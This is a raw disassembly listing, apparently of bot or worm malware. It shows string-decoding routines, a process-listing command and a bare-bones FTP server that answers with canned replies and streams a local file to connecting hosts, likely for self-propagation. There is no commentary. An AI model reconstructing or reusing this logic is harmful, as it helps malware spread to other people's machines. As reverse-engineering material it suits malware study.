var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41E760
		push	eax
		mov	large fs:0, esp
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E8FA
		lea	eax, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4018E8
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0
		push	ecx
		call	sub_4011D6
		add	esp, 4
		test	al, al
		jz	loc_41E8E2
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+8Ch+var_3C]
		push	79h
		push	edx
		call	sub_4019C4
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 1
		mov	ecx, ebx
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_40170D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		xor	edi, edi
		call	sub_4014E2
		mov	eax, [eax]
		lea	ecx, [esp+60h+var_4C]
		push	ecx
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], eax
		call	sub_40197E
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401811
		test	al, al
		jz	short loc_41E8E2
		mov	ebp, dword_5118D8


loc_41E86E:				; CODE XREF: sub_41E760+180j
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_40122B
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_40122B
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset aD_PidDS	; "%d. - Pid: %d - \"%s\""
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		push	5DCh
		call	ebp
		lea	ecx, [esp+60h+var_50]
		call	sub_40107D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_40197E
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401811
		test	al, al
		jnz	short loc_41E86E


loc_41E8E2:				; CODE XREF: sub_41E760+62j
					; sub_41E760+106j
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401825
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41E8FA:				; CODE XREF: sub_41E760+37j
		lea	ecx, [edi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E9EE
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 3
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 4
		call	sub_4014DD
		push	eax
		push	offset dword_445004
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41E9EE:				; CODE XREF: sub_41E760+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EB55
		lea	edx, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_4016EA
; ---------------------------------------------------------------------------
		lea	eax, [esp+60h+var_48]
		mov	ebx, 5
		push	eax
		mov	[esp+64h+var_4], ebx
		call	sub_402162
		add	esp, 4
		test	al, al
		jz	loc_41EB3D
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+88h+var_3C]
		push	3Dh
		push	ecx
		call	sub_4019C4
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 6
		mov	ecx, ebp
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401B54
		lea	ecx, [esp+60h+var_4C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+64h+var_48]
		call	sub_401465
		mov	edx, [eax]
		lea	eax, [esp+60h+var_4C]
		push	eax
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], edx
		call	sub_4013F7
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jz	short loc_41EB3D
		mov	ebx, dword_5118D8


loc_41EAD6:				; CODE XREF: sub_41E760+3DBj
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_401055
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	edi
		push	offset dword_444FF8
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		push	5DCh
		call	ebx
		lea	ecx, [esp+60h+var_50]
		call	sub_401839
		lea	eax, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4013F7
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jnz	short loc_41EAD6


loc_41EB3D:				; CODE XREF: sub_41E760+2CFj
					; sub_41E760+36Ej
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401253
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41EB55:				; CODE XREF: sub_41E760+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EC4C
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 8
		call	sub_4017EE
		push	eax
		call	sub_401A0A
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 9
		call	sub_4014DD
		push	eax
		push	offset dword_444FF0
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41EC4C:				; CODE XREF: sub_41E760+40Aj
		lea	ecx, [edi+60h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	short loc_41ED15
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_24]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 0Bh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+60h+var_24]
		mov	ebx, eax
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	ebx, ebx
		jz	short loc_41ED15
		push	ebx
		push	offset dword_444FE4
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		push	ebx
		call	sub_4018B6
		add	esp, 1Ch
		jmp	short loc_41ED17
; ---------------------------------------------------------------------------


loc_41ED15:				; CODE XREF: sub_41E760+1F0j
					; sub_41E760+44Ej ...
		xor	al, al


loc_41ED17:				; CODE XREF: sub_41E760+195j
					; sub_41E760+289j ...
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_41E760	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41EEB0:				; CODE XREF: ___:loc_402004j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	(offset	asc_43C4EA+26h)
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_5118D8
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	dword ptr [ebp-4], 0


loc_41EEE0:				; CODE XREF: ___:0041EEF1j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_41EEF3
		push	3E8h
		call	edi
		jmp	short loc_41EEE0
; ---------------------------------------------------------------------------


loc_41EEF3:				; CODE XREF: ___:0041EEE8j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_449277
		call	sub_401A41
		lea	edx, [ebp-14h]
		mov	ecx, offset byte_4E8E9B
		push	edx
		mov	[ebp-14h], esi
		call	sub_40120D
; ---------------------------------------------------------------------------


loc_41EF19:				; DATA XREF: ___:loc_41EF2Co
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41EF2C:				; DATA XREF: ___:00442554o
		mov	eax, offset loc_41EF19
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EF70	proc near		; CODE XREF: sub_401DFCj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_401FDC
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_401FDC
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_401FDC
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_401FDC
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_401FDC
		mov	al, [esp+4+arg_4]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_41EF70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F030	proc near		; CODE XREF: sub_4020C7j

var_DC		= dword	ptr -0DCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= dword	ptr -88h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= dword	ptr  18h
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_50		= byte ptr  54h
arg_68		= byte ptr  6Ch
arg_80		= byte ptr  84h
arg_88		= byte ptr  8Ch
arg_A8		= byte ptr  0ACh
arg_E4		= byte ptr  0E8h
arg_F0		= byte ptr  0F4h
arg_118		= byte ptr  11Ch
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_148		= byte ptr  14Ch
arg_158		= byte ptr  15Ch
arg_908		= byte ptr  90Ch
arg_18C8	= dword	ptr  18CCh
arg_18D8	= dword	ptr  18DCh
arg_1930	= byte ptr  1934h
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41F030
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	sub_437B30
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr dword_44964F
		push	edx
		call	near ptr 71AB2B66h
		nop
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_41F0B7
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_4E8E9B
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F75A
; ---------------------------------------------------------------------------


loc_41F0B7:				; CODE XREF: sub_41F030+6Dj
		push	10h
		push	esi
		push	eax
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41F0E7
		mov	ecx, [edi+15h]
		push	ecx
		call	near ptr 71AB9639h
		nop
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_4E8E9B
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F75A
; ---------------------------------------------------------------------------


loc_41F0E7:				; CODE XREF: sub_41F030+93j
		mov	al, byte_4E8E44
		test	al, al
		jz	loc_41F750
		push	ebx
		mov	ebx, dword_511B14
		push	ebp
		mov	ebp, dword_511CA0


loc_41F102:				; CODE XREF: sub_41F030+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F11D
		push	0FAh
		jmp	loc_41F73B
; ---------------------------------------------------------------------------


loc_41F11D:				; CODE XREF: sub_41F030+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41F736
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		nop
		call	near ptr 71AC0B50h
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_41F741
		mov	cl, byte_449DB8
		test	cl, cl
		jz	short loc_41F1CF
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, dword_44964F
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aFtpD_D_D_DOnD ;	"ftp: %d.%d.%d.%d on %d"
		mov	ecx, offset dword_449958
		call	sub_4014DD
		push	eax
		push	0
		push	0
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h


loc_41F1CF:				; CODE XREF: sub_41F030+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_40142E
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_401C71
		push	eax
		call	sub_4015F5
		add	esp, 8
		lea	eax, [esp+58h+arg_0]
		lea	ecx, [esp+58h+arg_18]
		push	eax
		call	sub_4014D3
		lea	ecx, [esp+58h+arg_0]
		mov	byte ptr [esp+58h+arg_1970], 1
		push	ecx
		lea	ecx, [esp+5Ch+arg_18]
		call	sub_401FDC
		mov	edi, offset a220 ; "220	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a220	; "220 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+6Ch+arg_158]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a331 ; "331	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a331	; "331 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+7Ch+arg_148]
		push	800h
		push	eax
		push	esi
		call	sub_401280
		mov	edi, offset a230 ; "230	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a230	; "230 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	ecx, [esp+8Ch+arg_138]
		push	800h
		push	ecx
		push	esi
		call	sub_401280
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+9Ch+arg_128]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		add	esp, 10h
		lea	eax, [esp+98h+arg_128]
		lea	ecx, [esp+98h+var_C]
		push	eax
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+0A4h+var_C]
		mov	[esp+0A4h+arg_1930], 2
		call	sub_4016B8
		push	offset asc_445080 ; ","
		lea	edx, [esp+9Ch+arg_38]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		mov	[esp+0A4h+arg_1930], 3
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 4
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_38]
		mov	edi, eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445080 ; ","
		lea	eax, [esp+9Ch+arg_80]
		push	1
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 5
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_80]
		mov	[esp+98h+var_7C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445080 ; ","
		lea	ecx, [esp+9Ch+arg_8]
		push	2
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 6
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_8]
		mov	[esp+98h+var_5C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445080 ; ","
		lea	edx, [esp+9Ch+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 7
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_68]
		mov	[esp+98h+var_58], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445080 ; ","
		lea	eax, [esp+9Ch+arg_20]
		push	4
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 8
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_20]
		mov	[esp+98h+var_88], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445080 ; ","
		lea	ecx, [esp+9Ch+arg_50]
		push	5
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 9
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_50]
		mov	[esp+98h+var_80], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		mov	dl, byte ptr [esp+98h+var_88]
		mov	al, byte ptr [esp+98h+var_80]
		mov	ecx, [esp+98h+var_58]
		mov	byte ptr [esp+98h+var_68+1], dl
		mov	edx, [esp+98h+var_5C]
		mov	byte ptr [esp+98h+var_68], al
		mov	eax, [esp+98h+var_68]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+0A0h+var_88], eax
		mov	eax, [esp+0A0h+var_7C]
		push	eax
		push	edi
		lea	ecx, [esp+0A8h+arg_A8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ecx
		nop
		call	sub_5FADE9
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0ACh+arg_118]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a150 ; "150	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a150	; "150 \r\n"
		push	esi
		call	ebp	; send
		mov	eax, [esp+0B8h+var_A8]
		lea	ecx, [esp+0B8h+arg_88]
		push	eax
		push	ecx
		call	sub_401AA0
		add	esp, 8
		lea	ecx, [esp+0B8h+var_44]
		mov	[esp+0B8h+var_A8], eax
		push	offset aRb	; "rb"
		call	sub_4017EE
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+0B8h+var_A0], edi
		jz	loc_41F695
		cmp	[esp+0B8h+var_A8], 0FFFFFFFFh
		jz	loc_41F695
		push	2
		push	0
		push	edi
		nop
		call	near ptr 77C4139Ch
		push	edi
		nop
		call	near ptr 77C41574h
		push	0
		push	0
		push	edi
		mov	[esp+0D4h+var_9C], eax
		nop
		call	near ptr 77C4139Ch
		add	esp, 1Ch


loc_41F5C0:				; CODE XREF: sub_41F030+5E1j
		mov	edx, [esp+0B8h+var_A0]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+0B8h+arg_908]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+0C0h+arg_908]
		push	1
		push	eax
		call	near ptr 77C411FBh
		nop
		mov	ecx, [esp+0C8h+var_A0]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_41F613
		mov	eax, [esp+0B8h+var_A8]
		push	0
		lea	edx, [esp+0BCh+arg_908]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		cmp	edi, 1000h
		jz	short loc_41F5C0


loc_41F613:				; CODE XREF: sub_41F030+5C7j
		mov	eax, [esp+0C8h+var_B4]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, byte_449DB8
		test	cl, cl
		mov	eax, edx
		jz	short loc_41F67C
		mov	edx, [esp+0C8h+var_A4+3]
		mov	ecx, [esp+0C8h+var_AC]
		push	eax
		mov	eax, [esp+0CCh+var_A4+2]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+0D0h+var_A4+1]
		push	edx
		mov	edx, [esp+0D4h+var_A4]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total	s"...
		mov	ecx, offset dword_449958
		call	sub_4014DD
		push	eax
		push	0
		push	0
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 2Ch


loc_41F67C:				; CODE XREF: sub_41F030+5F8j
		mov	eax, [esp+0C8h+var_B0]
		push	eax
		call	near ptr 77C40AB1h
		nop
		mov	ecx, [esp+0CCh+var_B8]
		add	esp, 4
		push	ecx
		call	near ptr 71AB9639h
		nop


loc_41F695:				; CODE XREF: sub_41F030+55Bj
					; sub_41F030+566j
		mov	edi, offset a226 ; "226	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a226	; "226 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0E0h+arg_E4]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a221 ; "221	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a221	; "221 \r\n"
		push	esi
		call	ebp	; send
		push	esi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+0F0h+var_AC]
		mov	byte ptr [esp+0F0h+arg_18D8], 2
		call	sub_401226
		lea	ecx, [esp+0F0h+var_64]
		mov	byte ptr [esp+0F0h+arg_18D8], 1
		call	sub_401226
		lea	ecx, [esp+0F0h+var_7C]
		mov	byte ptr [esp+0F0h+arg_18D8], 0
		call	sub_401226
		lea	ecx, [esp+0F0h+var_94]
		mov	[esp+0F0h+arg_18D8], 0FFFFFFFFh
		call	sub_401226
		mov	edi, [esp+0F0h+var_DC]


loc_41F736:				; CODE XREF: sub_41F030+109j
		push	9C4h


loc_41F73B:				; CODE XREF: sub_41F030+E8j
		nop
		call	near ptr 2830000h


loc_41F741:				; CODE XREF: sub_41F030+140j
		mov	al, byte_4E8E44
